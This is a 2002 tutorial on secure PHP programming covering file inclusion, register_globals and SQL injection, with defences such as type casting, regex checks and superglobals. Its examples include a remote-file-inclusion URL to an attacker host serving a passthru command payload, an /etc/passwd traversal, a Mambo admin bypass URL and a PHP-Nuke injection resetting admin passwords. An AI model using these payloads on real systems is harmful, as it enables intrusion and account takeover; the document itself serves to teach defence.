Secure Programming in PHP

Secure Programming in PHP
By Thomas Oertli

January 30, 2002

Introduction
Dangers

Files

Global Variables

SQL
Secure Programming

Awareness

Check User Variables

Master the Global Variable Scope

Logging
Conclusion
About the Author

Introduction

The goal of this paper is not only to show common threats and challenges of programming secure PHP applications but also to show you practical methods for doing so. The wonderful thing about PHP is that people with little or even no programming experience are able to achieve simple goals very quickly. The problem, on the other hand, is that many programmers are not really conscious about what is going behind the curtains. Security and convenience do not often go hand in hand -- but they can.

Dangers

Files

PHP has some very flexible file handling functions. The

include(),
require()

and fopen() functions accept local path names as well as remote files using URLs. A lot of vulnerabilities I have seen are due to incorrect handling of dynamic file or path names.

Example

On a site I will not mention in this article (because the problem still has not been solved) has one script which includes various HTML files and displays them in the proper layout. Have a look at the following URL:

http://example.com/page.php?i=aboutus.html

The variable $i obviously contains the file name to be included. When you see a URL like this, a lot of questions should come to your mind:

Has the programmer considered directory traversals like i=../../../etc/passwd?
Does he check for the .html extension?
Does he use fopen() to include the files?
Has he thought about not allowing remote files?

In this case, every answer was negative. Time to play! Of course, it is now possible to read all the files the httpd user has read access for. But what is even more exciting is the fact that the include() function is used to include the HTML file. Consider this:

http://example.com/page.php?i=http://evilhacker.org/exec.html

Where exec.html contains a couple of lines of code:


<?php

    passthru ('id');

    passthru ('ls -al /etc');

    passthru ('ping -c 1 evilhaxor.org');

    passthru ('echo You have been hax0red | mail root');

?>

I am sure you get the idea. A lot of bad things can be done from here.

Global Variables

Per default, PHP writes most of the variables into the global scope. Of course, this is very convenient. On the other hand, you can get lost in large scripts very quickly. Where did that variable come from? If it is not set, where could it come from? All EGPCS (Environment, GET, POST, Cookie, and Server) variables are put into the global scope.

The global associative arrays

$HTTP_ENV_VARS, $HTTP_GET_VARS,
$HTTP_POST_VARS, $HTTP_COOKIE_VARS,
$HTTP_SERVER_VARS

and

$HTTP_SESSION_VARS

will be created when the configuration directive track_vars is set. This allows you to look for a variable only in the place you expect it to come from. Note: As of PHP 4.0.3, track_vars is always turned on.

Example

This security hole was reported to the Bugtraq mailing list by Ismael Peinado Palomo on July 25th, 2001. Mambo Site Server 3.0.x, a dynamic portal engine and content management tool based on PHP and MySQL, is vulnerable to a typical global scope exploit. The code has been modified and simplified.

Under the 'admin/' directory, index.php checks whether the password matches the one in the database after posting the form:


<?php

    if ($dbpass == $pass) {

        session_register("myname");

        session_register("fullname");

        session_register("userid");

        header("Location: index2.php");

    }

?>

When the passwords match, the variables

$myname,
$fullname

and $userid are registered as session variables. The user then gets redirected to index2.php. Let us see what happens there:


<?php

    if (!$PHPSESSID) {

        header("Location: index.php");

        exit(0);

    } else {

        session_start();

        if (!$myname) session_register("myname");

        if (!$fullname) session_register("fullname");

        if (!$userid) session_register("userid");

    }

?>

If the session ID has not been set, the user will be directed back to the login screen. If there is a session ID, though, the script will resume the session and will put the previously set session variables into the global scope. Nice. Let us see how we can exploit this. Consider the following URL:

http://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname=joey&userid=admin

The GET variables

$PHPSESSID, $myname,
$fullname

and $userid are created as global variables per default. So when you look at the if-else-structure above, you will notice that the script figures $PHPSESSID is set and that the three variables dedicated to authorize and identify the user can be set to anything you want. The database has not even been queried. A quick fix for this problem -- by far not the perfect one -- would be to check for $HTTP_SESSION_VARS['userid'] or $_SESSION['userid'] (PHP => v4.1.0) instead of $userid. If you are serious about making secure web applications read chapter 3.3.

SQL

Programming in PHP would be boring without a decent SQL database connected to the web server. However, assembling SQL queries with unchecked variables is a dangerous thing to do.

Example

The following bug in PHP-Nuke 5.x has been reported to the Bugtraq mailing on August 3, 2001. It is actually a combination of exploiting global variables and an unchecked SQL query variable.

The PHP-Nuke developers decided to add the "nuke" prefix to all tables in order to avoid conflicts with other scripts. The prefix can be changed when multiple Nuke sites are run using the same database. Per default,

$prefix =
"nuke";

is defined in the configuration file config.php.

Let us now look at a few lines from the script article.php.


<?php

    if (!isset($mainfile)) { 

        include("mainfile.php");

    }

    if (!isset($sid) && !isset($tid)) { 

        exit();

    }

?>

And a bit further down: the SQL query.


<?php

    mysql_query("UPDATE $prefix"._stories.

        " SET counter=counter+1 where sid=$sid");

?>

To change the SQL query, we need to make sure $prefix is not set to its default value so we can set an arbitrary value via GET. The configuration file config.php is included in mainfile.php. As we know from the last chapter, we can set the variables

$mainfile,
$sid

and $tid to any value using GET parameters. By doing so, the script will think mainfile.php has been included and $prefix has been set accordingly. Now, we are in a position to execute any SQL query starting with UPDATE. So the following query will set all admin passwords to '1':

   
http://example.com/article.php?mainfile=1&sid=1&tid=1&prefix=nuke.authors%20set%20pwd=1%23

The query now looks like this:

    UPDATE nuke.nuke_authors set pwd=1#_stories

        SET counter=counter+1 where sid=$sid");

Of course, anything after # will be considered as a comment and will be ignored.

Secure Programming

Awareness

Before taking any technical measures, you have to realize that you cannot trust any input from external sources. Whether it is a GET or POST parameter or even a cookie, it can be set to anything. User-side JavaScript form checks will not make any difference. ;)

Check User Variables

Every external variable has to be verified. In many cases you can just use type casting. For example, when you pass a database table id as a GET parameter the following line would do the trick:


    $id = (int)$HTTP_GET_VARS['id'];


    $id = (int)$_GET['id'];           /* (PHP => v4.1.0) */

Now you can be sure $id contains an integer. If somebody tried to modify your SQL query by passing a string, the value would simply be 0. Checking strings is a little more difficult. In my opinion, the only professional way to do this is by using regular expressions. I know that many of you try to avoid them but -- believe me -- they are great fun once you got the basic idea. As an example, the variable $i from chapter 2.1. can be verified with this expression:


<?php

    if (ereg("^[a-z]+\.html$", $id)) {

        echo "Good!";

    } else {

        die("Try hacking somebody else's site.");

    }

?>

This script will only continue when the $id variable contains a file name starting with some lowercase alphabetic characters and ending with a .html extension. I will not go into regular expression details but I strongly recommend you the book "Mastering Regular Expressions" by Jeffrey E. F. Friedl (O'Reilly).

Master the Global Variable Scope

I am glad I did not have much time to write this article in early December 2001, because in the meantime Andi and Zeev added some very useful arrays in PHP v4.1.0:

$_GET, $_POST, $_COOKIE, $_SERVER,
$_ENV

and $_SESSION. These variables deprecate the old $HTTP_*_VARS arrays and can be used regardless of the scope. There is no need to import them using the global statement within functions.

Do yourself a favour and turn the configuration directive register_globals off. This will cause your GET, POST, Cookie, Server, Environment and Session variables not to be in the global scope anymore. Of course, this requires you to change your coding practice a little. But it is definitely a good thing to know where your variables come from. It will help you prevent security holes described in chapter 2.2. This simple example will show you the difference:

Bad:


<?php

    function session_auth_check() {

        global $auth;

        if (!$auth) {

            die("Authorization required.");

        }

    }

?>

Good:


<?php

    function session_auth_check() {

        if (!$_SESSION['auth']) {

            die("Authorization required.");

        }

    }

?>

Logging

In a production environment it is a good idea to set the error_reporting level to 0. Use the error_log() function to log errors to a file or even alert yourself via e-mail.

If you are really concerned about security, you can even do some preventive "intrusion detection". For example, you could send yourself an e-mail alert when somebody plays with GET/POST/Cookie parameters and the regular expression function returns false accordingly.

Conclusion

Programming securely definitely needs a little more time than the "Wow, it works!" technique. But as you can see by the examples, you cannot afford to ignore security. I hope I could make you think about how to improve your existing applications and especially how to change your programming practice in the future. Happy hacking!

About the author

Thomas Oertli is a PHP programmer and Linux systems administrator for Zurich/Switzerland based limone AG. He also does freelance IT security projects (penetration testing and hardening).